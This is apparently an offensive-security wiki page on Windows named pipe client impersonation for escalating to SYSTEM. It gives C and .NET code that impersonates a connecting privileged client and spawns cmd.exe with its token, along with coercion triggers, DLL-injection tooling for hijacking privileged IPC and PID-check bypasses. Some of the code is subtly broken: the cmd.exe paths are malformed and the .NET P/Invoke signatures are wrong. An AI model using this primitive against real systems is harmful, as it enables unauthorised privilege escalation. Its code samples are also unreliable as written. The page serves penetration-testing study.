Named Pipe Client Impersonation

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Named Pipe client impersonation is a local privilege escalation primitive that lets a named-pipe server thread adopt the security context of a client that connects to it. In practice, an attacker who can run code with SeImpersonatePrivilege can coerce a privileged client (e.g., a SYSTEM service) to connect to an attacker-controlled pipe, call ImpersonateNamedPipeClient, duplicate the resulting token into a primary token, and spawn a process as the client (often NT AUTHORITY\SYSTEM).

This page focuses on the core technique. For end-to-end exploit chains that coerce SYSTEM to your pipe, see the Potato family pages referenced below.

TL;DR

  • Create a named pipe: \.\pipe<random> and wait for a connection.
  • Make a privileged component connect to it (spooler/DCOM/EFSRPC/etc.).
  • Read at least one message from the pipe, then call ImpersonateNamedPipeClient.
  • Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary), and CreateProcessWithTokenW/CreateProcessAsUser to get a SYSTEM process.

Requirements and key APIs

  • Privileges typically needed by the calling process/thread:
    • SeImpersonatePrivilege to successfully impersonate a connecting client and to use CreateProcessWithTokenW.
    • Alternatively, after impersonating SYSTEM, you can use CreateProcessAsUser, which may require SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege (these are satisfied when you’re impersonating SYSTEM).
  • Core APIs used:
    • CreateNamedPipe / ConnectNamedPipe
    • ReadFile/WriteFile (must read at least one message before impersonation)
    • ImpersonateNamedPipeClient and RevertToSelf
    • OpenThreadToken, DuplicateTokenEx(TokenPrimary)
    • CreateProcessWithTokenW or CreateProcessAsUser
  • Impersonation level: to perform useful actions locally, the client must allow SecurityImpersonation (default for many local RPC/named-pipe clients). Clients can lower this with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION when opening the pipe.

Minimal Win32 workflow (C)

// Minimal skeleton (no error handling hardening for brevity)
#include <windows.h>
#include <stdio.h>

int main(void) {
    LPCSTR pipe = "\\\\.\\pipe\\evil";
    HANDLE hPipe = CreateNamedPipeA(
        pipe,
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
        1, 0, 0, 0, NULL);

    if (hPipe == INVALID_HANDLE_VALUE) return 1;

    // Wait for privileged client to connect (see Triggers section)
    if (!ConnectNamedPipe(hPipe, NULL)) return 2;

    // Read at least one message before impersonation
    char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL);

    // Impersonate the last message sender
    if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368

    // Extract and duplicate the impersonation token into a primary token
    HANDLE impTok = NULL, priTok = NULL;
    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4;
    if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5;

    // Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege.
    STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0};
    if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY,
                                 L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
                                 0, NULL, NULL, &si, &pi)) {
        // Fallback: CreateProcessAsUser after you already impersonated SYSTEM
        CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
                             NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    }

    RevertToSelf(); // Restore original context
    return 0;
}

Notes:

  • If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), ensure you read from the pipe first and that the client didn’t restrict impersonation to Identification level.
  • Prefer DuplicateTokenEx with SecurityImpersonation and TokenPrimary to create a primary token suitable for process creation.

.NET quick example

In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process.

using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
class P {
  [DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h);
  [DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p);
  [DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi);
  static void Main(){
    using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1);
    s.WaitForConnection();
    // Ensure client sent something so the token is available
    s.RunAsClient(() => {
      IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS
      IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary
      var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe");
      Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi);
    });
  }
}

Common triggers/coercions to get SYSTEM to your pipe

These techniques coerce privileged services to connect to your named pipe so you can impersonate them:

  • Print Spooler RPC trigger (PrintSpoofer)
  • DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
  • EFSRPC pipes (EfsPotato/SharpEfsPotato)

See detailed usage and compatibility here:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:

From High Integrity to SYSTEM with Name Pipes

Service Triggers

Named Pipe IPC Abuse & MITM (DLL Injection, API Hooking, PID Validation Bypass)

Named-pipe hardened services can still be hijacked by instrumenting the trusted client. Tools like pipetap drop a helper DLL into the client, proxy its traffic, and let you tamper with privileged IPC before the SYSTEM service consumes it.

Inline API hooking inside trusted processes

  • Inject the helper DLL (OpenProcess → CreateRemoteThread → LoadLibrary) into any client.
  • The DLL Detours ReadFile, WriteFile, etc., but only when GetFileType reports FILE_TYPE_PIPE, copies each buffer/metadata to a control pipe, lets you edit/drop/replay it, then resumes the original API.
  • Turns the legitimate client into a Burp-style proxy: pause UTF-8/UTF-16/raw payloads, trigger error paths, replay sequences, or export JSON traces.

Remote client mode to defeat PID-based validation

  • Inject into an allow-listed client, then in the GUI choose the pipe plus that PID.
  • The DLL issues CreateFile/ConnectNamedPipe inside the trusted process and relays the I/O back to you, so the server still observes the legitimate PID/image.
  • Bypasses filters that rely on GetNamedPipeClientProcessId or signed-image checks.

Fast enumeration and fuzzing

  • pipelist enumerates \\.\pipe\*, shows ACLs/SIDs, and forwards entries to other modules for immediate probing.
  • The pipe client/message composer connects to any name and builds UTF-8/UTF-16/raw-hex payloads; import captured blobs, mutate fields, and resend to hunt deserializers or unauthenticated command verbs.
  • The helper DLL can host a loopback TCP listener so tooling/fuzzers can drive the pipe remotely via the Python SDK.
pip install pipetap

import pipetap
client = pipetap.Client(("127.0.0.1", 47001))
client.write(b"OP\x00\x01...")

Combine the TCP bridge with VM snapshot restores to crash-test fragile IPC parsers.

Operational considerations

  • Named pipes are low-latency; long pauses while editing buffers can deadlock brittle services.
  • Overlapped/completion-port I/O coverage is partial, so expect edge cases.
  • Injection is noisy and unsigned, so treat it as a lab/exploit-dev helper rather than a stealth implant.

Troubleshooting and gotchas

  • You must read at least one message from the pipe before calling ImpersonateNamedPipeClient; otherwise you’ll get ERROR_CANNOT_IMPERSONATE (1368).
  • If the client connects with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, the server cannot fully impersonate; check the token’s impersonation level via GetTokenInformation(TokenImpersonationLevel).
  • CreateProcessWithTokenW requires SeImpersonatePrivilege on the caller. If that fails with ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser after you already impersonated SYSTEM.
  • Ensure your pipe’s security descriptor allows the target service to connect if you harden it; by default, pipes under \.\pipe are accessible according to the server’s DACL.

References

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